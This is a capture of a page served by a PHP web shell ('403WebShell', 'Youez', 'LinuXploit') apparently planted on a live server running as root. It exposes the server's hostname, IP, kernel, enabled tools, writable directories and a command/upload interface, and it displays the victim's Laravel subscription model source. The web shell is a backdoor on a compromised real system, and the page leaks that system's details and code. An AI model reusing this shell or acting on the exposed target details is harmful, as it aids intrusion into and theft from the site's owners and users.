Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Models/UserSubscription.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Ramsey\Uuid\Uuid;

class UserSubscription extends Model
{
    use HasFactory;

    protected $fillable = [
        'trx_id',
        'uuid',
        'user_id',
        'subs_id',
        'machine_count',
        'total_price',
        'start_date',
        'end_date',
        'status',
    ];

    protected $hidden = [
        'created_at',
        'updated_at'
    ];

    public function transaction()
    {
        return $this->hasOneThrough(
            Transaction::class,
            TransactionSubscriptionPlan::class,
            'subs_plan_id',
            'id',
            'id',
            'transaction_id'
        );
    }

    public function subscription()
    {
        return $this->belongsTo(SubscriptionPlan::class, 'subs_id');
    }

    public function user()
    {
        return $this->belongsTo(User::class);
    }

    protected static function boot()
    {
        parent::boot();

        static::creating(function ($model) {
            $model->uuid = Uuid::uuid4();
        });
    }

    public const PerPageRecord = "10";

    public static function GetMySubscriptions($offset = null)
    {
        $user = USER_ID();

        $mainQuery = self::query()
            ->with('subscription')
            ->where('user_id', $user)
            ->orderByRaw("FIELD(status, 'ACTIVE', 'INACTIVE', 'EXPIRED')")
            ->selectRaw("*, 'subscription' as type")
            ->orderBy('created_at', 'DESC');

        $data['count'] = (clone $mainQuery)->count();

        if (isset($offset)) {
            $mainQuery->offset($offset * self::PerPageRecord)
                ->limit(self::PerPageRecord);
        }

        $mainList = $mainQuery->get();
        $seekerItem = UserSeekerSubscription::where('user_id', $user)
            ->whereIN('status', ['ACTIVE', 'INACTIVE'])
            ->selectRaw("*, 'seeker_subscription' as type")
            ->get();
        
        if (filled($seekerItem)) {
            foreach ($seekerItem as $item) {
                $item->name = 'Job Seeker Subscription';
                $list = $mainList->push($item);
            }
        } else {
            $list = $mainList;
        }

        $list = $list->sortByDesc('created_at')->values();
        $data['count'] = (clone $list)->count();
        $upcomingTypes = self::where('user_id', $user)
            ->where('status', 'INACTIVE')
            ->whereHas('subscription')
            ->get()
            ->pluck('subscription.type')
            ->unique()
            ->toArray();

        $data['list'] = $list->map(function ($item) use ($upcomingTypes) {
            $item->can_renew = $item->status === 'EXPIRED';
            $item->can_upgrade = ($item->status && ($item->type != 'seeker_subscription')) === 'ACTIVE'
                && !in_array(optional($item->subscription)->type, $upcomingTypes);
            return $item;
        });

        // Adjust next_offset calculation if needed
        $data['next_offset'] = (
            count($data['list']) == self::PerPageRecord + ($seekerItem ? 1 : 0)
            ? (isset($offset) ? ((int)$offset + 1) : 0)
            : -1
        );

        return $data;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit